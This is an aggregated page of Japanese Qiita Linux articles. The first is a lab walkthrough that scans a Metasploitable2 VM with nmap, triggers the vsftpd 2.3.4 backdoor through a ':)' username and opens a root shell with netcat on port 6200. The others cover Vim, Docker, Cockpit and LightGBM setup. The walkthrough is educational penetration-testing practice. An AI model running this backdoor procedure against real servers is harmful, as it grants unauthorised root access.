20220112のLinuxに関する記事は7件です。

VirtualBoxでKali Linuxから仮想マシンにハッキングしてみる~攻撃実践編~[Windows10]

はじめに この記事は後編になります。前編は以下からどうぞ。 前編で環境構築を行いました。この記事ではKaliLinuxでMetasploitable2に攻撃を仕掛けてみます。 といっても知っている方は同じみのvsftpdを使った攻撃ですごめんなさい。 他人や他社のサービス、サーバー等へ許可なしに攻撃を実行した場合は犯罪行為となります。 本記事を参考に他人や他社に害を与えたとしても一切の責任を負いません。 vsftpd 2.3.4の脆弱性を利用したサーバ乗っ取り 2011年にリリースされたvsftpd バージョン2.3.4には、バックドアコードが存在しており、その脆弱性を利用して攻撃を仕掛けることができます。Metasploitable2にはこのvsftpd 2.3.4がインストールされているので、さっそく攻撃してみましょう。 まずはKali Linuxにログインし、ターミナルを起動します。 次にターミナルで下記コマンドを実行します。 nmap -sS -A 10.0.0.5 nmapとは、対象のサーバに対してポートスキャンを行うツールです。オプションの-sSはスキャンタイプをTCP SYNスキャンに指定し、-AはOS検出とバージョン検出を行うことを指定しています。 $ sudo nmap -sS -A 10.0.0.5 Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-06 08:47 EST Nmap scan report for 10.0.0.5 Host is up (0.00046s latency). Not shown: 977 filtered ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: | STAT: | FTP server status: | Connected to 10.0.0.1 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | vsFTPd 2.3.4 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) | ssh-hostkey: | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd |_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 53/tcp open domain ISC BIND 9.4.2 | dns-nsid: |_ bind.version: 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) |_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2 |_http-title: Metasploitable2 - Linux 111/tcp open rpcbind 2 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2 111/tcp rpcbind | 100000 2 111/udp rpcbind | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/udp nfs | 100005 1,2,3 42531/udp mountd | 100005 1,2,3 46233/tcp mountd | 100021 1,3,4 34376/udp nlockmgr | 100021 1,3,4 53805/tcp nlockmgr | 100024 1 33855/tcp status |_ 100024 1 34341/udp status 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) 512/tcp open exec? 513/tcp open login? 514/tcp open shell? 1099/tcp open java-rmi GNU Classpath grmiregistry 1524/tcp open bindshell Metasploitable root shell 2049/tcp open nfs 2-4 (RPC #100003) 2121/tcp open ccproxy-ftp? 3306/tcp open mysql? |_mysql-info: ERROR: Script execution failed (use -d to debug) |_ssl-cert: ERROR: Script execution failed (use -d to debug) |_ssl-date: ERROR: Script execution failed (use -d to debug) |_sslv2: ERROR: Script execution failed (use -d to debug) |_tls-alpn: ERROR: Script execution failed (use -d to debug) |_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug) 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 | ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX | Not valid before: 2010-03-17T14:07:45 |_Not valid after: 2010-04-16T14:07:45 |_ssl-date: 2021-11-27T11:51:17+00:00; -40d02h00m41s from scanner time. 5900/tcp open vnc VNC (protocol 3.3) | vnc-info: | Protocol version: 3.3 | Security types: |_ VNC Authentication (2) 6000/tcp open X11 (access denied) 6667/tcp open irc UnrealIRCd 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) |_ajp-methods: Failed to get a valid response for the OPTION request 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 |_http-favicon: Apache Tomcat |_http-title: Apache Tomcat/5.5 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: bridge|general purpose|switch Running (JUST GUESSING): Oracle Virtualbox (98%), QEMU (93%), Bay Networks embedded (88%) OS CPE: cpe:/o:oracle:virtualbox cpe:/a:qemu:qemu cpe:/h:baynetworks:baystack_450 Aggressive OS guesses: Oracle Virtualbox (98%), QEMU user mode network gateway (93%), Bay Networks BayStack 450 switch (software version 3.1.0.22) (88%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: -40d00h20m40s, deviation: 2h53m13s, median: -40d02h00m41s |_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | smb-os-discovery: | OS: Unix (Samba 3.0.20-Debian) | Computer name: metasploitable | NetBIOS computer name: | Domain name: localdomain | FQDN: metasploitable.localdomain |_ System time: 2021-11-27T06:49:37-05:00 | smb-security-mode: | account_used: <blank> | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_smb2-time: Protocol negotiation failed (SMB2) TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 0.22 ms 10.0.2.2 2 0.29 ms 10.0.0.5 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 280.03 seconds 環境の違いにもよると思いますが、私の環境ではスキャン完了までおよそ3分ほどかかりました。 上記実行結果のうち21/tcp openなどと表示されているものが、TCPで接続可能なポート番号になっています(たくさんありますね笑)。 上記実行結果から、攻撃対象サーバにvsftpd 2.3.4が存在することが分かりました。下記の部分です。 PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: | STAT: | FTP server status: | Connected to 10.0.0.1 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | vsFTPd 2.3.4 - secure, fast, stable |_End of status 続いて、下記コマンドを実行します。 $ ftp 10.0.0.5 実行後NameとPasswordを尋ねられます。 Nameはバックドアを起動させるために必ず最後に:)を付ける必要があるので1234567:)とでもしましょう。 Passwordは入力せずにEnterでOKです。 Connected to 10.0.0.5. 220 (vsFTPd 2.3.4) Name (10.0.0.5:kali): 1234567:) 331 Please specify the password. Password: 421 Service not available, remote server has closed connection Login failed. No control connection for command: Success ftp> ftp> exit それぞれ入力すると、421 Service not availableと表示され、ログインは弾かれます。 しかし、この操作により攻撃対象サーバの6200ポートがオープンになります。 ここで下記コマンドを実行します。 nc -nv 10.0.0.5 6200 これにより攻撃対象へのroot権限の乗っ取りが完了しました。一見すると何も変化ないように見えるので、whoamiとifconfigを使って現在の権限とIPアドレスを確認します。 $ nc -nv 10.0.0.5 6200 1 ⚙ (UNKNOWN) [10.0.0.5] 6200 (?) open whoami root ifconfig eth0 Link encap:Ethernet HWaddr 08:00:27:43:7c:5d inet addr:10.0.0.5 Bcast:10.0.0.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fe43:7c5d/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:13131 errors:0 dropped:0 overruns:0 frame:0 TX packets:14713 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:1059068 (1.0 MB) TX bytes:1310394 (1.2 MB) Base address:0xd020 Memory:f0200000-f0220000 上記結果より、root権限でかつIPアドレスが10.0.0.5(=攻撃対象サーバのIPアドレス)になっていることがわかると思います。 これでパスワードの入力無しで自由に攻撃対象サーバを操れるようになりました。 終わりに 実際に攻撃してみて、「あぁ、ハッキングってこんな感じなんだな」としたり顔になりました(本当に簡単なことしかしてませんけど)。 また、同時に脆弱性が発見された場合にできるだけはやく対策することの重要性を肌で感じることができました。 今後もペネトレーションテストの実践練習は続けていき、近いうちにCTFへ挑戦しようと思います! 参考記事
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Vim】readonlyのファイルをsudoで強制的に保存する方法

はじめに 設定ファイルなどを保存しようとしたときにsudoで開くのを忘れて書き込みができないことがありますよね。 以下コマンドを実行することでsudo を使って強制的に保存できます。sudo 権限は必須なのでご注意ください。 Vimのコマンドモードで以下コマンドを実行 :w !sudo tee % tee コマンドで現在開いているファイルを、強制的に上書きします。 w : ファイルの保存 !sudo tee : !sudo tee コマンド % : 現在開いているファイル :q!で終了 :q! 上記手順で編集内容が保存されています。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

docker : イメージの作成 / コンテナの(マウント)・作成・起動・停止・削除 (コマンド)for windows

コンテナのコマンド一覧 *イメージの作成 docker image build -t タグ名 参照する場所 *docker run(create)でマウント(※マウントとは「渡すこと」) docker run(create) -v ホストのパス:コンテナのパス イメージ名 *コンテナの作成・起動 docker container run -d -p ():() --name つけたいコンテナ名 タグ名 ※-dはバックグラウンド上でコンテナを起動させるコマンド *コンテナの停止 docker container stop コンテナ名 *コンテナの削除 docker container rm コンテナ名 *未使用コンテナの削除 docker system prune -a おまけ *ログの確認 docker container logs コンテナ名 *起動中のコンテナ中で別のコマンドを実行する方法 docker container コンテナ名 実行したいコマンド
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

docker : イメージの作成 / コンテナの作成・起動・停止・削除 (コマンド)for windows

コンテナのコマンド一覧 *イメージの作成 docker image build -t タグ名 参照する場所 *コンテナの作成・起動 docker container run -d -p ():() --name つけたいコンテナ名 タグ名 ※-dはバックグラウンド上でコンテナを起動させるコマンド *コンテナの停止 docker container stop コンテナ名 *コンテナの削除 docker container rm コンテナ名 *未使用コンテナの削除 docker system prune -a おまけ *ログの確認 docker container logs コンテナ名 *起動中のコンテナ中で別のコマンドを実行する方法 docker container コンテナ名 実行したいコマンド
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【簡単】Linuxサーバ(Ubuntu)に管理ツールのCockpitを導入する

ただのエンジニアのメモ書きです。参考程度にしてくださいませ。 環境 GCE(Google Cloud Pratform の Compute Engine) Ubuntu 16.04.7 LTS 手順 ① 公式サイトの方法でインストールする ※ちなみにaptでのインストールもできるみたいです。 . /etc/os-release sudo apt install -t ${VERSION_CODENAME}-backports cockpit ② Cockpitの自動起動設定をする sudo systemctl start cockpit sudo systemctl enable --now cockpit sudo systemctl enable --now cockpit.socket # 確認 sudo systemctl status cockpit sudo systemctl status cockpit.socket ③ Network Managerがenableだと、Cockpitでネットワーク操作ができないのでオフにする 参考:https://github.com/cockpit-project/cockpit/issues/8477#issuecomment-622253139 systemctl stop NetworkManager systemctl disable NetworkManager ④ GCPのファイアウォール設定で、TCP:9090 を許可する設定をする VPCネットワーク > ファイアーウォール を開き、以下のように入力する なお、ここではネットワークタグはcockpitとしています。 ⑤ GCEでファイアーウォール設定を適応する Compute Engine > サーバ名 > 編集 の下部に、一個上で入力したネットワークタグを入力する ⑥ 完成 https://#{グローバルIP}:9090にアクセスしてください。 証明書エラーとかでますがそのまま突き進んでください。 以下の画面が出たら成功です。LinuxにログインするIDとPWで入れます。 あとがき Ubuntu 18.04.6 LTSはNetworkManagerをオフにしなくても大丈夫でした。 もしかしたらUbuntu16系固有のバグなのかも?
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

LightGBMのインストールでこけたのでメモ

仮想インスタンスで機械学習の環境を構築していたら、lightgbmのインストールでこけたのでメモ。 環境はDebian/Linux。Python3系。 2022/01/16間違っていた記載があったので、いろいろ修正。 初めにやったこと python3 -m pip install lightgbm 前に環境構築したときはこの↑のpip installでいけたような記憶があった(そこまでややこしくはなかったような記憶があった)が、このコマンドでは駄目だった。(※正確には時間がかかりすぎていた。経験上、時間がかかりすぎるのはどこかが間違っていることが多い。) もう一つコマンドを試してみる↓。 sudo apt-get install python3-lightgbm が、"Unable to locate package python3-lightgbm"のエラーを吐く。 いつもの手法が通用しないので、改めてどこで問題が起こっているのか考察する。 1.一応、lightgbmはpipでインストールできるはずである。(ネットにも情報が落ちている) 2.pip installをしようとすると、scikit-learnの環境構築をするところで止まっているようである。 3.まずはscikit-learnをインストールしてみれば、状況が改善するかもしれない。 という訳で、scikit-learnをインストールしてみた。一応その前にlightgbmがscikit-learnのどのバージョンをインストールしようとしているのか確認しておいた(実はlightgbmではそのバージョンは使えませんでした、となったら悲しいので)。 ログを見たところ、lightgbmはscikit-learn1.0.2をインストールしようとしていたらしいので、現在の最新版を入手しようとしていたことが分かった。 https://scikit-learn.org/stable/install.html sudo apt-get install python3-sklearn python3-sklearn-lib python3-sklearn-doc Debian/Ubuntuではこのコマンドでscikit-learnを入手する。 python3-sklearn-docが"Unable to locate package"のエラーを吐いてしまったが、そこだけなくしてコマンドを実行すれば問題なくインストールできた。 その後、もう一度lightgbmをインストールしてみた。 すると、サクッと無事にlightgbmをインストールすることに成功。scikit-learnが悪さをしていたようだね... Cmakeとsetup.pyを利用したインストール(非推奨) 基本的にpython3パッケージはsetup.pyコマンドを使わずにインストールしたほうが面倒がないので、以下からの手順は非推奨。 どうしてもpipでインストールできない場合に参考にしてほしい。 まずはLightGBMインストールガイドを読む。 これによると、LinuxではまずCMakeをインストールすることから始めるらしい。 CMakeのインストール まずwgetをaptで入手する。まずいつものupdateから。 sudo apt update sudo apt install wget 次に、CMakeのサイトから最新版を入手する。 現在の最新版は3.22.1なので、それを入手する。 wget https://github.com/Kitware/CMake/releases/download/v3.22.1/cmake-3.22.1.tar.gz tar -xvzf cmake-3.22.1.tar.gz cd cmake-3.22.1 sudo ./bootstrap sudo make sudo make install これでOK…かと思いきや、 「Could not find OpenSSL. Install an OpenSSL development package or configure CMake with -DCMAKE_USE_OPENSSL=OFF to build without OpenSSL.」 というエラーがsudo ./bootstrap中に起こる。これについて軽くググってみたところ、この↓のコマンドを実行するといいらしい。エラーが特に起きなかった人はここを飛ばしてもいい。 sudo apt install libssl-dev 一応、インストールできているか確かめる。 cmake --version バージョンが表示されていたらOK。 ここまで来たら、あとはようやくlightgbmをインストールする。 lightgbm のインストール git clone --recursive https://github.com/microsoft/LightGBM cd LightGBM mkdir build cd build cmake .. make -j4 このコードは公式の手順通り。なお最後の「make -j4」の「-j4」は並列処理のためのコマンドであるが、この後ろにつく数字はCPUの数×2倍にすることで最適に処理を高速化できるらしい(なおこの数字が大きすぎると逆にCPUのキャパを越える)。 それから、公式のドキュメントには載っていないが、lightgbmを使用するにはさらに以下のコマンドを実行する。 cd ../python-package python3 setup.py install 最後に確認。 $ python3 ---import lightgbm 無事にimportできたら完了。 参考リンク
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

LightGBMのインストールとCMakeのインストールでこけたのでメモ

仮想インスタンスで機械学習の環境を構築していたら、lightgbmのインストールでこけたのでメモ。 環境はDebian/Linux。Python3系。 初めにやったこと python3 -m pip install lightgbm 前に環境構築したときはこの↑のpip installでいけたような記憶があった(そこまでややこしくはなかったような記憶があった)が、このコマンドでは駄目だった。(※正確には時間がかかりすぎていた。経験上、時間がかかりすぎるのはどこかが間違っていることが多い。) もう一つコマンドを試してみる↓。 sudo apt-get install python3-lightgbm が、ダメ。いつもの手法が通用しないので、公式のドキュメントを当たる。 LightGBMインストールガイドはこれ↓ これによると、LinuxではまずCMakeをインストールすることから始めるらしい。 CMakeのインストール wgetが入っていなかったのでまずwgetをaptで入手する。まずいつものupdateから。 sudo apt update sudo apt install wget 次に、CMakeのサイトから最新版を入手する。 自分はwgetを扱った経験があまりなかったので、リンクをどうやって入手すればいいか戸惑った。これについては、サイト上のファイルダウンロードリンクを右クリックして「リンクのアドレスをコピー」でファイルリンクを入手できる。 現在の最新版は3.22.1なので、それを入手する。 wget https://github.com/Kitware/CMake/releases/download/v3.22.1/cmake-3.22.1.tar.gz tar -xvzf cmake-3.22.1.tar.gz cd cmake-3.22.1 sudo ./bootstrap sudo make sudo make install これでOK…かと思いきや、 「Could not find OpenSSL. Install an OpenSSL development package or configure CMake with -DCMAKE_USE_OPENSSL=OFF to build without OpenSSL.」 というエラーがsudo ./bootstrap中に起こる。これについて軽くググってみたところ、この↓のコマンドを実行するといいらしい。エラーが特に起きなかった人はここを飛ばしてもいい。 sudo apt install libssl-dev なお、sudo ./bootstrapは地味に時間がかかる。あと、make後に[fatal error : permition denied]が起こったが、なぜか何とかなった。 一応、インストールできているか確かめる。 cmake --version バージョンが表示されていたらOK。 ここまで来たら、あとはようやくlightgbmをインストールする。 lightgbm のインストール git clone --recursive https://github.com/microsoft/LightGBM cd LightGBM mkdir build cd build cmake .. make -j4 このコードは公式の手順通り。なお最後の「make -j4」の「-j4」は並列処理のためのコマンドであるが、この後ろにつく数字はCPUの数×2倍にすることで最適に処理を高速化できるらしい。 自分はGCEの無料枠の仮想マシンを使用していたため、そのままこのコードを実行してまったく作業が進まなくなってしまった(数字が大きすぎると逆にCPUのキャパを越える)。このため、自分は「make -j2」にすることでうまくいった。 それから、公式のドキュメントには載っていないが、lightgbmを使用するにはさらに以下のコマンドを実行する。 cd ../python-package python3 setup.py install 最後に確認。 $ python3 ---import lightgbm 無事にimportできたら完了。 参考リンク
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む